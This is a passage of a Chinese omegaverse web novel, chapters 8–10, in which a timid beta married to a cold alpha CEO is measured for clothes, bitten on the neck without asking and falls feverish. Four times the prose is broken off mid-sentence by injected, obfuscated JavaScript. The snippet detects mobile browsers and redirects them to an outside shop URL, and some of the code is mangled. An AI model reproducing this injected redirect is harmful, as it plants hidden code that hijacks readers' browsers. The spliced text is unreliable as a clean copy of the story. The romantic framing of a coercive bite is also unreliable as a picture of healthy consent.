管家接着道,“傅总还安排了服装师到家里来,刚好傅总也要量体做下个季度的衣服,所以今晚您可以和傅总一起。” 鹿遥完全没把这件事放在心上,毕竟那句话说出来的语境更像是床上的调情,他愕然道,“我也要做吗?” 鹿遥想象不出来自己和傅晏淮一起量身体做衣服的场景,他的笑容看着勉强了一点,“我…就不用了吧,我的衣服都还可以穿。” 管家转过身来看着鹿遥,“这是傅总的安排。” 鹿遥的心里很矛盾,他喜欢傅晏淮,但如果距离太近他又会有点惶恐。 鹿遥只好道,“好的,我知道了。” 管家点点头,“冯医生交代您还是要吃好消化的食物,所以今天的早餐还是粥点,在这边,我带您去。” 厨师准备每一餐的份量都刚刚好,鹿遥认认真真都吃完了。 管家上前收走餐盘,他关切地问了一句,“您今天是请假了吗?” 鹿遥平静道,“我决定要换一份工作。” 不知道是不是鹿遥的错觉,管家的脸上似乎多了一丝欣慰。 “好的,您该去休息了。” 鹿遥睡了这半个月以来最沉的一次觉,在这间由杂物间改成的小小卧室里,鹿遥终于安心地睡着。 所有人都没有闻到鹿遥睡着后房间里多出的那一丝焦糖气味,微微的甜味很快消散,连它的主人都不知道它出现过。 鹿遥是被敲门声叫醒的,如果不是管家来,鹿遥估计自己能睡到第二天早上。 鹿遥脸上还带着睡觉压出的红印,他的头发乱糟糟的,整个人迷糊又清澈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731137|145049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地看着门外的管家。 冯医生先开口解了围,“您看起来气色比昨天好了很多,现在还有发烧吗?” 鹿遥瞬间清醒过来,他赶忙让出门口的位置,“没有了,请进。” 冯医生拿出仪器做例行检查,又测量了一下鹿遥的体温。管家带来一壶花茶,替鹿遥和冯医生一人倒了一杯。 鹿遥低声道谢,冯医生沉吟片刻道,“您体内的信息素值有波动。” 鹿遥和管家都同时看向冯医生,医生又仔细看了一下数据正色道,“劳累和受凉的确都是引起发烧的原因,您的信息素值在短短几天内来回到达上下峰值,这也是引起体温变化的原因。由于您刚刚陪伴傅总度过易感期,所以这种波动也是正常的。只是短短几天内起伏多次幅度又过高,建议您可以到医院做更具体的检查。” 鹿遥认真问道,“这种波动会带来什么后果吗?” “体内信息素紊乱会造成多种信息素相关疾病。”冯医生解释道,“虽然您是beta,最好也要注意一下。” 信息素相关的疾病,但鹿遥没有信息素。 鹿遥不想去医院,他不想为这点事闹得人尽周知,他猜测这次不生病应该是因为傅晏淮。傅晏淮的信息素是s级,又有omega信息素抵抗症状,所以鹿遥受到影响多一些也是正常的。 鹿遥对自己很放心,beta绝对不会有信息素紊乱。 管家在一旁默默听着,并记下医生说的话。冯医生又简单说了些其他要注意的问题,看鹿遥整体没有大碍他就离开了。 花茶暖暖的很好喝,鹿遥捧着不知不觉喝了很多。 管家收起医生刚刚填写的数值表格,他看向鹿遥问道,“还有一个小时傅总就能到家,您想要和傅总一起吃晚饭吗?” 在和傅晏淮刚刚结婚的时候,鹿遥曾经有一段时间是和他一起吃饭的。鹿遥努力想要接近傅晏淮,但餐桌两端的人,即使坐在一起也像是两个世界的人。傅晏淮从来都是吃自己的,全程两人没有交流,甚至没有眼神的对视,就算鹿遥小心提起一个话题也不会有人回应。 傅晏淮吃过饭就会直接离开,这样反复两次,鹿遥也就不在他眼前讨嫌了。 鹿遥觉得管家的问题非常荒谬,他委婉道,“我晚上如果饿了的话会自己到厨房找一点东西吃的。” 管家似乎真的只是随口一问,他端起托盘道,“好的,晚饭后一小时服装师会到,您不要忘记了。” 鹿遥硬着头皮点点头,傅晏淮还有一个小时到,他在犹豫自己是再睡一觉还是直接起来。 傅晏淮的脸在鹿遥脑海中闪过,他又想起那个扔掉的焦糖布丁。 鹿遥最后还是决定收拾一下去后厨,去帮帮忙也好,他更习惯在角落偷偷看他一眼。 他又换上傅晏淮嫌弃的外套,由于傅晏淮不在,鹿遥很放心地从客厅穿过去,没有再从侧门绕。 但他刚刚走进客厅,迎面就碰上了进门换鞋的傅晏淮。 鹿遥手足无措站在原地,傅晏淮漫不经心上下扫了一眼。身高190的alpha穿着一身墨色站在门口,臂弯间搭着一件长外套。 傅晏淮语气淡淡,“过来。” 8. 第 8 章 傅晏淮回家的时间比管家说的提早了一个小时,鹿遥猝不及防在门口碰到他,都不知道自己是怎么走过去的。 鹿遥慌张不敢看傅晏淮的眼睛,他目光下移到傅晏淮的鼻子,又到嘴唇,最后还是羞涩又局促地垂下眼。 鹿遥假装自然地问道,“怎、怎么了吗。” 傅晏淮审视地微微低头注视着他,鹿遥现在看起来很正常,没有病态的红晕,也没有像昨天那样虚弱到站也站不住。 傅晏淮没有再闻到那一点点甜香,他面色没有任何异常开口,“冯医生来过了吗。” 这样和傅晏淮面对面站着谈话的时刻很少有,鹿遥有点紧张,“来过了的,冯医生说我发烧可能是因为信息素紊乱。” 傅晏淮眉头微微动了一下,“信息素?” 意识到自己的话里有歧义,鹿遥连忙道,“不是,是因为易感期…” 傅晏淮看着鹿遥的脸慢腾腾变粉了点,他有些不好意思地躲闪目光,说话也变得支支吾吾的,“可能这两天波动过大,但总体不要紧,医生说如果还不放心可以到医院再做具体的检查。” “冯医生只说了这些?” 傅晏淮换好鞋随手把大衣递给鹿遥,鹿遥大脑宕机两秒,但还是下意识直愣愣接了过来。 傅晏淮走进屋子,“你还有没有觉得哪里不舒服。” 外套被抱到怀里的一瞬间,鹿遥清楚闻到了冷调的木质香气,他刚刚疑惑地低头仔细看看那件大衣,又被傅晏淮的这句关心弄得心脏砰砰跳动起来。 鹿遥很快把那点异样感压下去,他小心跟在傅晏淮身后,“没有了,我现在已经都好了。” 傅晏淮未置可否,从小到大的精英教育的确让他看起来极有涵养,除了易感期,傅晏淮通常都能很好地维持住自己衣冠楚楚的这一面。 傅晏淮只嗯了一声,鹿遥也不知道还能再开口说些什么,客厅很快安静下来。 管家不知道什么时候站到了门外,鹿遥还在绞尽脑汁地想提起一个不会冒犯到傅晏淮的话题,傅晏淮没有上楼,而是在沙发上坐下了。 管家将这一幕收进眼底,他微不可查地叹了口气走上前。 “傅总,林助理把车开回来了。这是电脑和文件,林助理还拿来了一张亲属卡。” 傅晏淮听完才想起自己的确还交代了这件事,他侧头随意看了两眼道,“额度不够了就告诉管家,助理会再提。把东西放到书房,晚饭送上楼吧。” 鹿遥的手里就这么多了一张黑卡,他人都懵了。管家应声后就要上楼,鹿遥赶忙开口,“等等!” 鹿遥听起来是真的很着急,他在傅家还从来没有这么大音量地说过话。 但此刻他显然顾不上这么多,傅晏淮的目光里多了点不耐,鹿遥还是硬着头皮走到傅晏淮身前低声道,“谢谢傅总,但是真的不用,我会换一份更合适的工作,一定不会再耽误时间了。” 傅晏淮只说了一句,“随便你。” 傅晏淮直接上楼,鹿遥不知所措地拿着那张卡,管家经过他身边时悄悄摇了摇头。 鹿遥不想要这张卡,他知道傅晏淮此时并没有羞辱人的意思,但他还是觉得坐立难安。鹿遥在楼梯旁等待管家下来,等看到人影的那一瞬间鹿遥眼睛都亮了,“管家,我…” 管家温声道,“傅总既然给了,您就收着吧。鹿遥先生,其实傅总一直对您都没有什么意见,只是有些时候,您的家人太让人感到为难了,您能明白吗?” 鹿遥当然明白,他再明白不过了。 今天星期五,明天他就要回到鹿家和家人一起吃饭,鹿遥隐下担忧对管家若无其事道,“我…我会让他们离傅总远一点,不让他们打扰到傅总的心情。” 管家看起来的确放心很多,他低头看了一眼鹿遥还抱着的大衣,“晚饭还没好,您先回房间等等,外套我来挂起来。” 鹿遥下意识递给管家,原本到这里鹿遥就该识趣地回自己房间,但他思绪混乱地走回去两步又停下。他匆匆小跑到管家的旁边低声问道,“傅总的衣服,不,不是。傅总的房间里放了香氛吗?” 从傅晏淮这次易感期开始,鹿遥就总是在半梦半醒的状态中闻到一种很奇特的香气。他是beta,不知道那是alpha信息素的味道,但是每次闻到这个味道都会让他觉得怪怪的,鹿遥说不上来那是种什么感觉。 管家看了鹿遥一眼,但他还是很有耐心地回答道,“每个卧室里都会放香氛,但是傅总不是每天都会使用。” 鹿遥鬼使神差地多问了一句,“是杉木吗。” 管家皱起眉,“您闻到过杉木的味道吗?” 傅晏淮的信息素是白冷杉,采购香氛应该会避开这种类似的味道才对。 鹿遥自己也不确定他是否是真的闻到了这种味道,事实上,他每次闻到这股香气的时间都很短暂。而且现在他就站在大衣两步远的地方,那股木调香气又消失了,鹿遥忍不住开始质疑自己的记忆是否出了问题。 鹿遥避而不答道,“可能是这两天身体不舒服的缘故,谢谢管家,我先回去了。” 管家若有所思地在原地停了一会,很快也离开去了厨房。 今天大约是公司的事没处理完,傅晏淮还带了工作回家,管家依言把晚饭送到书房。鹿遥还没有出去吃晚饭,他正在房间里十分苦恼地试图放好那张黑卡。 这张卡肯定不能让鹿家的任何一个人知道,鹿遥对自己的家人十分了解,他们不会放过任何一个能跻身所谓的上流阶层的机会。 鹿遥房间内的布置简单到了简陋的地步,他里里外外翻了一遍,最终放到了衣柜的最深处。 “就算从上辈子就开始工作,可能也赚不到这张卡里的钱。” 鹿遥喃喃地对着自己的衣柜自言自语,简易的柜子,几件破旧的衣服,以及一张不论怎么放都十分醒目的黑卡。鹿遥实在觉得太别扭了,他伸手拿出来,最终又认命地放进去。 他安慰自己道,“没关系,找个机会还回去就好了。” 找一个傅晏淮心情好的时间,黑卡暂时只放在柜子里。 鹿遥其实还不是很饿,但他想去问问管家服装师来的具体时间,应该是要给傅晏淮量好再给他量的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731138|145049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >今天发生的一切都让鹿遥十分不适应,他习惯了一个人住在角落,习惯了一个人解决生活中的所有事,也习惯了所有人都忽视他。冷不丁得到自己能力范围外的东西,鹿遥只觉得很不适应。 鹿遥更加忐忑的是他不明白为什么傅晏淮要给他这张卡,是易感期的补偿吗? 不管怎么样,这也算是傅晏淮正式送给他的第一样东西,鹿遥珍重地关上柜门。 管家推着餐车上楼,傅晏淮似乎是在开临时会议,他靠在椅背上冷冷盯着电脑屏幕,管家屏息小心把餐盘一样样摆到茶桌上。 不知道对面说了什么,傅晏淮按住耳机道,“把这个季度的工作报表发给我,明天上午十点到我办公室,简述为什么没有达到预期盈利数额。” 管家一丝不苟地把晚饭摆好,傅晏淮不是那种动不动就对下属发脾气的总裁,但他不发脾气光是冷脸也够让人难受了。 会议结束,傅晏淮翻了一页文件,他越看眉头皱得越紧,在房间内气压降到冰点之前管家及时开口,“傅总,晚饭已经摆好了。” 傅晏淮没动,“嗯。” 管家低声提醒道,“服装师Kevin会在晚上七点到。” 管家从傅晏淮刚刚步入青春期的时候就在傅家了,在接手公司之前,傅晏淮一直都在老宅和父母一起住。直到前几年傅晏淮单独搬出来,管家也跟着继续照顾他。 傅晏淮合上文件起身,“晚上把鹿遥叫出来。” 他的这句安排很自然,管家就顺势问道,“好的。您给的那张黑卡…” 对于傅晏淮来说,那其实算不上什么珍贵的东西,他有很多钱,所以钱就不是最宝贵的东西。直接拿出一张卡当然比花费精力精心挑选一个礼物划算得多,鹿遥还不值得他多浪费时间。 “这次易感期我有点控制不住。”傅晏淮坐到桌前,他并不觉得这有什么问题,“就当是他生病的补偿。” 他和鹿遥结婚一年,平心而论,除了鹿家时不时出现的糟心事,鹿遥这个beta还是很省心的。虽然很胆小,但还知道分寸。 管家垂下眼,傅晏淮真的像他表现的这样这么云淡风轻吗,至少在傅家的这么多年,管家从来没有见到过傅晏淮主动给过谁亲属卡。 他站到一边等着傅晏淮吃完收拾桌子,其实这并不是管家的工作,但今天他特意单独推餐车上楼就是想试探一下傅晏淮的态度。一年的相处足够看出一个人是否真心,管家私心里觉得鹿遥已经很不错,这个世界上能忍受和适应傅晏淮脾气的人可不多。 鹿遥独自到后厨吃了点东西,他只在早上的时候喝了一碗粥,到现在应该已经很饿了才对,但他到了厨房才意识到自己真的没有丝毫胃口。 发烧会让人蔫蔫的,鹿遥也的确提不起什么精神,他的骨头还是又酸又疼,不过不适感已经减轻了很多。 鹿遥在后厨等了等也没有看到管家,他悄悄捏了两把自己的后腰,准备直接回卧室休息,顺便和马颂提离职。但他回到卧室还没躺下十分钟,管家就敲响了他的房门。 “鹿遥先生,傅总和服装师在楼上等您呢。” 9. 第 9 章 鹿遥猛地从床上坐起来,他抓起自己搭在一边椅背上的外套就匆匆拉开门,管家的眼神没有任何异样,“服装师也刚到没多久,从这边走。” 量衣服肯定不会在傅晏淮的卧室,楼上有专门的衣帽间,鹿遥从没有去过楼上除了傅晏淮卧室以外的房间,他默默跟在管家身后。 管家只停在门口,他用眼神示意鹿遥进去,鹿遥站在门口心里莫名还有些紧张。 鹿遥自己也觉得自己紧张得莫名其妙,他定了定神推开门,屋内飘出的一丝冷杉味道让他的脚步凝滞一瞬。鹿遥顿了顿继续走进,管家把门关上。 进到屋内后鹿遥又闻不到那股味道了,他停在原地有些困惑,但抬眼就看见傅晏淮穿着极薄的绸缎面料背对着他,服装师半跪在他身后量腰围。 鹿遥几乎都能看见傅晏淮隐隐透出的肌肉纹理了,他别扭地别开眼,“傅总,我…” 傅晏淮听见了动静,他张开手臂等着服装师量完才转过身,他的视线扫到鹿遥的破外套时停下。 鹿遥窘迫地低下头看看自己的灰色运动外套,虽然的确穿了很多年,可这个外套质量很好,明明就哪里都没有坏。外套也洗得很干净,只是有些掉色了。 还是服装师先出声解了围,Kevin的笑容很明朗,他转回头看向鹿遥夸张道,“wu~蒙尘的明珠!” 鹿遥的脸色瞬间爆红,他不太擅长接受别人如此热情的夸奖。 傅晏淮竟然没有因为Kevin的话而感到不悦,他走到一旁的沙发上坐下懒散道,“给明珠换身衣服。” 傅晏淮是真的不喜欢鹿遥的这个外套,鹿遥很适合深蓝色的绸缎面料,因为傅晏淮的床单就是这个颜色的料子,鹿遥躺在上面很白,在抬眼看向他的时候像一头受惊的幼鹿。 鹿遥愣愣地跟着抬头,他这才看清傅晏淮只穿了睡袍,平时穿着西装外套看不出来,鹿遥现在直观感受到了alpha的强悍。Kevin开始报傅晏淮的数值,“胸围110.9,腰围76.8,臀围117.6。” 鹿遥对这些数字没什么概念,但他在几次易感期中充分感受到了傅晏淮的力量。 助理在一边记下数值,Kevin站起身兴致勃勃问傅晏淮道,“真的吗?全凭我的心意?换什么都行?” 傅晏淮把手中的茶杯咔嗒一声放在桌上,Kevin迅速转过身面向鹿遥,他背对着傅晏淮对鹿遥比口型,“好凶。” 鹿遥无法反驳,傅晏淮确实总是凶巴巴的。 Kevin拉住鹿遥往前走,“我来给您量一下。” 鹿遥低声道谢,Kevin后颈上没有腺体贴,他应该也是个beta。 鹿遥抓紧自己手里的旧外套,助理的声音很轻柔,“先给我吧。” 这个旧外套的确和整个房间都格格不入,鹿遥同手同脚地走到量尺寸的那个圆台上,Kevin先从背后量了一下鹿遥的肩宽,他随口嘀咕道,“您有些偏瘦了。” 鹿遥不知道傅晏淮正在沙发上注视着他们二人,他摸了摸鼻子含糊道,“有的时候吃饭来不及。” 工作的休息时间不固定,鹿遥只能抽出时间来填饱肚子,他的填饱肚子真的就只是吃了东西就可以,鹿遥对食物没什么特别的要求。 傅晏淮听见鹿遥的话后抬起头看向他们二人的方向。 Kevin继续往下量其他位置,他听到鹿遥的话可惜地叹气,“这真是不应该,您的臀部形状很完美,可以更有肉感一点的。” 鹿遥热得要冒烟了,面对如此另类的夸奖他实在是不知所措,鹿遥憋了半分钟才憋出一句,“我…以后注意。” 花茶的清甜在舌尖蔓延,傅晏淮品了两口茶,他把目光从鹿遥身上收回,鹿遥的确偏瘦一些,不过… 大约是受到Kevin的话的影响,傅晏淮想起了些易感期独有的画面。 他脸上表情未变,但他的喉结滚动了一下。 助理拿着平板走到沙发边给傅晏淮看模拟出的版型,听着不远处不大不小的对话声,鹿遥稍稍放松了紧绷的身体。 不知道是不是他自己的错觉,他刚刚好像感觉到了傅晏淮的注视。虽然傅晏淮很了解他的身体,但鹿遥还是做不到顶着傅晏淮的目光量尺寸。 Kevin忽然对鹿遥眨了眨眼,“傅总特意交代我,要给您多做几套衣服,居家出行外套打底,全部都要备好。” Kevin的目光很灼热,鹿遥愣了一下,他低声回道,“大约是因为他不喜欢我的外套和睡衣。” “不,不是。”Kevin一脸的‘我很懂’,“是因为爱情。” 鹿遥差点没左脚绊右脚把自己绊下圆台,Kevin唰地一下把帘子拉上,他满脸都是抑制不住的激动,但还记得要用气声说话,“鹿遥先生,做霸总的伴侣是什么感觉?您能分享一下和傅总的爱情故事吗?” Kevin谈起八卦时眼睛闪闪发光,鹿遥下意识回头看向傅晏淮的方向,但被帘子阻隔住了视线。 爱情故事?他和傅晏淮之间哪里有这种东西。 Kevin看起来没什么坏心思,但鹿遥还是被问得手忙脚乱起来。 “其实和这个、也没有什么关系。”鹿遥艰难道,“为什么这么问?” Kevin大喇喇道,“傅总选中的beta,当然都很好奇了。尤其是,您也不怎么出现在公众场合。” 鹿遥好脾气地道,“的确只是因为他不喜欢我的外套。” 傅晏淮会因为不喜欢其他人的穿着,就请京城身价前三的服装师来家里亲自订服装吗?不是高定,也不是要参加宴会,只是日常起居出行的衣服。 Kevin认为这其中一定也有爱情的缘故,但傅晏淮还在外面等着,他也不能拖太多时间,Kevin又埋头工作,“好吧,您转过去一下,我量一下这边的尺寸。” 鹿遥转的方向是拉起的帘子,如果把它打开,鹿遥会直接面向傅晏淮。 不过现在帘子还遮得好好的,鹿遥就胆子大了一些,他盯着浅色的遮挡帘小声问道,“Kevin,就是您的名字吗?” Kevin点点头,“行走在外,都需要一些花名。” 鹿遥忍不住笑了一下,他犹豫着接着问道,“那您,和傅总很熟悉吗?” 鹿遥很羡慕Kevin和傅晏淮对话时自然的状态,记忆中他和傅晏淮的对话次数屈指可数,他在傅家最经常开口的地点是在傅晏淮的床上。 Kevin理所当然道,“当然不熟了,这可是傅总,傅总怎么会认识我?我比较外向,京城的大少爷大小姐们都喜欢找我做衣服,傅总是知道这一点的。这次是他特意找我,我以前没有来过这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731139|145049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 严肃谨慎的服装师,面无表情的傅晏淮,这两样叠加在一起的确会让鹿遥感到压力很大。鹿遥愣了一下,傅晏淮留心请了不常用的服装师,是为了他吗? Kevin的专业能力的确很强,他已经模拟出了鹿遥的人体模型,他认真道,“工作室会在明天下午四点前先送到紧急需要的衣服,我也会再来仔细调整细节的。” Kevin边拉开帘子边往外走,鹿遥看起来却有点为难,“能不能换一天时间,我明天…” 助理已经安静到一边等待,傅晏淮抬眼看向鹿遥,“怎么?” 鹿遥的话就这么不上不下地卡住,他略带慌乱地道,“是,我明天要回家一趟,所以时间上可能会有点来不及。” 房间内一片寂静,鹿遥的这句话结束,整个世界的时间仿佛都在此刻静止了。 鹿遥的身体越来越僵硬,傅晏淮站起身,直接越过鹿遥走了过去。 “按照正常的时间把衣服送来就好。” 鹿遥无措地试图挽留他,“我什么都没有答应,只是吃一顿饭。” Kevin意识到气氛不对,他拉住助理打哈哈道,“好的傅总,我们先走了。” 门重新关上,房间只剩下傅晏淮和鹿遥两个人。 或许是傅晏淮今天的一系列举动又让鹿遥鼓起了点勇气和期待,鹿遥急切对傅晏淮解释,“真的,我不会再让他们给您添麻烦的。” 鹿家对傅晏淮来说就只是无关紧要的人,他们的小动作根本撼动不了傅家在京城的地位,傅晏淮从不多加理会。 比起他们,鹿遥这幅局促不安的模样反而更让傅晏淮忍不住皱紧眉。 傅晏淮回头对鹿遥冷道,“你就这么喜欢热脸贴冷屁股吗?” 鹿遥以为自己已经习惯了傅晏淮的冷待和嘲讽,但真的再次听到,他还是无法控制地一瞬间难过。 “不是的。”鹿遥不敢看面前的alpha,尽管他们本该是这个世界上最亲密的人。 他不想让傅晏淮看到自己的失态,鹿遥垂下眼喃喃,“对不起,我…” 他到底要怎么做才会让傅晏淮不对他生气,明明刚刚还是好好的,是他又搞砸了吗。 傅晏淮看到了鹿遥微红的眼圈,他说不清自己此时究竟是什么心情。按照傅晏淮的一贯作风,此时他会转身直接离开,但他却为鹿遥停留了。 傅晏淮压下不耐道,“过来。” 鹿遥在距离傅晏淮两步远的地方停下,傅晏淮做出了一个他自己都没有预料到的决定。 “明天,我和你一起去。” 鹿遥几乎以为自己是听错了,他抬起头呆呆看着傅晏淮。 还是这个样子的鹿遥看着更顺眼点,傅晏淮伸手把鹿遥拉近,鹿遥磕磕绊绊地到了傅晏淮怀里。 傅晏淮的话既然已经说出口,他也不再过多细想。不过他推掉了行程陪鹿遥去鹿家,必须要拿回一点相应的补偿才行。 傅晏淮对上鹿遥还湿润的双眼,“如果一定要说的话,你在床上哭起来最漂亮。” 傅晏淮揭开鹿遥后颈上的腺体贴,极浅的白冷杉味道逸散在空气中,混杂着一点点甜。 后颈上狰狞的咬痕仍然清晰,傅晏淮俯下身,再次狠狠咬了上去。 这一次,鹿遥的惊呼和泣音让傅晏淮的眉头松开了。 10. 第 10 章 鹿遥头晕目眩地下意识紧紧揪住傅晏淮的衣袖——经过这次易感期,他对傅晏淮的信息素反应越来越强了。鹿遥腿软得几乎站不住,只能勉强借力靠在傅晏淮的肩膀。 傅晏淮停顿了很久才缓慢抬起头,鹿遥的后颈看起来更加狼狈了,深深浅浅的牙印交叠,最上方印着一枚新鲜出炉的红圈,还好没有出血。 但这也足够让傅晏淮感到困惑了,他扪心自问自己不是一个重/欲的人,冷静自持是s级alpha的基本素养,为什么今天会突然做出这样的事? 不,问题不在自己,原因或许出在自己怀里的这个人身上。 鹿遥还迷迷瞪瞪趴在傅晏淮怀里,傅晏淮看着自己不知道什么时候握上鹿遥肩膀的手陷入沉思。 或许是因为,易感期的残留影响吧。 鹿遥被猛烈而磅礴的alpha信息素席卷全身,这次他确信自己真的闻到了杉木的味道。鹿遥在和傅晏淮登记结婚的时候看过他的基本信息,s级alpha,信息素类别为杉木。 下过大雪的静谧丛林,针叶和雪色融为一体,笔挺矗立的参天巨木。 是冷杉,白冷杉。 鹿遥在此刻单方面和傅晏淮建立起了奇妙的连结,鹿遥无法说清具体的感受,他犹豫地抬起头,忍不住去看傅晏淮。 可让他没想到的是,傅晏淮竟然也在拧着眉垂眼看他,鹿遥刚刚聚集期待的那点微妙的亲密感顷刻间荡然无存,他还是会下意识躲闪傅晏淮的眼神,“我刚刚没有站稳。” 或许是受到s级信息素的影响,鹿遥的唇色很红,眼睛还雾蒙蒙的,整个人透着一股不自知的春色。 但是这真的很奇怪,beta会对alpha信息素有如此明显的反应吗。 傅晏淮慢慢松开自己的手,鹿遥手脚发软,他暗暗扶住身后的沙发靠背。 傅晏淮再次回忆了一下刚刚从头到尾发生的事,鹿遥的双眼,没有腺体的后颈,突如其来的躁动,以及,易感期时似有若无的焦糖甜香。 傅晏淮扔掉手中刚刚揭下来的腺体贴,他理应为自己的失态感到不悦,但事实是咬过一口鹿遥的脖子后他身心都很舒畅,这份诚实的愉悦让他的脸色看起来更臭了。 他很不高兴,他刚刚失去了自己引以为傲的自控力,而罪魁祸首就是面前这个满脸不安的beta。 一个平平无奇的、毫无用处的beta。 鹿遥不知道傅晏淮此刻在想什么,傅晏淮的脸色不太好看,但alpha阴晴不定的脾气通常只出现在易感期,为什么现在又不高兴了? 鹿遥忍着后颈的热胀低声开口,“明天我自己回去就可以的,真的。” 鹿遥私心里并不想要傅晏淮和鹿家有过多的联系,他怕傅晏淮看到更多不堪的一面。 “不。”傅晏淮的面色恢复平常,“我忽然想更多地了解你的家庭。” 准确地来说,鹿遥激起了他更多的探寻欲望。 傅晏淮的理智始终都占上风,他确认鹿遥的beta身份不可能改变。他和几乎所有的omega信息素都不适配,简单地来说,omega信息素会让傅晏淮产生应激排斥反应,而这样的自我保护一定会伤害到脆弱的omega。 如果鹿遥是omega,且真的让他闻到了信息素,那他们两个现在不可能还如此平静地站在这里。 鹿遥难以置信到忽略了后颈的难受,他的表情一如内心的困惑不解,“可是,我的家庭…” 他的家庭粗略看起来像是一个包装精美的礼品盒,但凑近了就能看出盒子上的残缺。耐着性子打开,就会看到里面只是腐坏破败被虫蛀坏的朽木,不堪入眼。 他不敢让傅晏淮了解他的家庭,也不敢让傅晏淮了解自己。 傅晏淮看起来在等他把话说完,“怎么?” 或许是看出鹿遥的犹豫,傅晏淮缓慢道,“虚伪,贪婪,还是什么。” 鹿遥的脸腾地变热,他其实不是一个这么容易就有情绪起伏的人,最近却总是失态。 鹿遥眼前忽然又有些发晕了起来,不知道是受到身体的影响还是什么,他被一股陡然升起的冲动所支配,“你会更讨厌我吗。” 鹿遥呆愣地直勾勾看着傅晏淮,脸颊上带有不自然的红晕,傅晏淮微微皱起眉。 “如果你看到了更多、更多不能接受的一面,一定会更讨厌我了。” 傅晏淮的确不太在意鹿遥,鹿遥在他心中更多的只是像一个小玩意儿,不过讨厌的话。 傅晏淮在短短十分钟内进入了又一次对人生的思考,或许他并不是很讨厌鹿遥。鹿遥很听话,又省心,在床/上床下都基本能让人满意。 不过这种话傅晏淮没必要开口解释,现在更值得注意的是鹿遥的状态。 “你又发烧了吗?” 傅晏淮用手背试了一下鹿遥额头的温度,这次他笃定道,“你又发烧了。” 傅晏淮直接揽住鹿遥的腰往外走,鹿遥懵懵懂懂听见了傅晏淮的话,他脚步虚浮,跟得不太利索。 管家等在门外,他转头看见这一幕吃惊道,“鹿遥先生这又是…” 傅晏淮低头看向鹿遥,鹿遥瞪大眼睛无辜地与他对视。 傅晏淮罕见地开始头疼了,他握住鹿遥肩膀的手收紧,“叫冯医生过来。” 管家急匆匆下楼,等到管家的身影看不到后,鹿遥才非常乖巧地出声,“你弄疼我了。” 傅晏淮还以为自己听错了,“什么?” 鹿遥老老实实地道,“肩膀疼。” 傅晏淮平复了一下自己的呼吸,他的耐心被迫拉长。傅晏淮刚一松开手,鹿遥就晕头转向地磕到身后的墙壁。 鹿遥磕了一下额头,原本就晕乎乎的脑子更转不过来了。 傅晏淮这次又重新把人搂紧,他居高临下盯着鹿遥问道,“疼吗?” 鹿遥想伸手揉揉自己,但手臂被禁锢抬不起来,他抬眼望向傅晏淮,诚实地点点头。 “疼就忍着。” 鹿遥呆了一下才消化掉傅晏淮的这句话,他有点委屈地慢慢垂下眼。 傅晏淮真的好凶。 傅晏淮怀疑这次突如其来的发烧给鹿遥烧傻了,前两次鹿遥生病至少还留有理智。 鹿遥浑身上下的骨头都很酸,他的后颈滚烫又饱胀,好像一粒埋伏许久的种子正在蠢蠢欲动破体而出。 鹿遥真的很难受,他哪里都不舒服,他忍不住小小挣动了一下,“可以把我放开我吗?” 傅晏淮冷声问道,“又怎么了。” 鹿遥难耐地仰起头试图舒展身体,隔着衣料傅晏淮都能感到鹿遥明显上升的体温,鹿遥的眼前时而模糊时而清晰,他动了动嘴唇,自己都不知道自己在说什么。 “我走不动了,我真的好累啊。” 傅晏淮逐渐旺盛的火气就这样忽然被浇灭了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731140|145049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他无奈停在原地,深深叹了口气。 于是鹿遥就第一次被傅晏淮抱回房间,他昏昏沉沉地靠着傅晏淮闭上眼睛,管家拿来了紧急处理的药箱。 “冯医生还有多久才到?” “十分钟。”管家敛眸道,“如果着凉的话,病情的确会反复,鹿遥先生的发烧还没有完全好。” 傅晏淮不觉得鹿遥这次生病仅仅只是受凉这么简单,他看着鹿遥安静的睡颜道,“我的病情分析结果写的是,对除自身以外的所有人无差别抵抗和攻击。” 管家投去迟疑的目光。 “所有人,并不特指omega。”傅晏淮思索着道,“所以,beta会同样产生异常反应,也并不是不符合常理。” 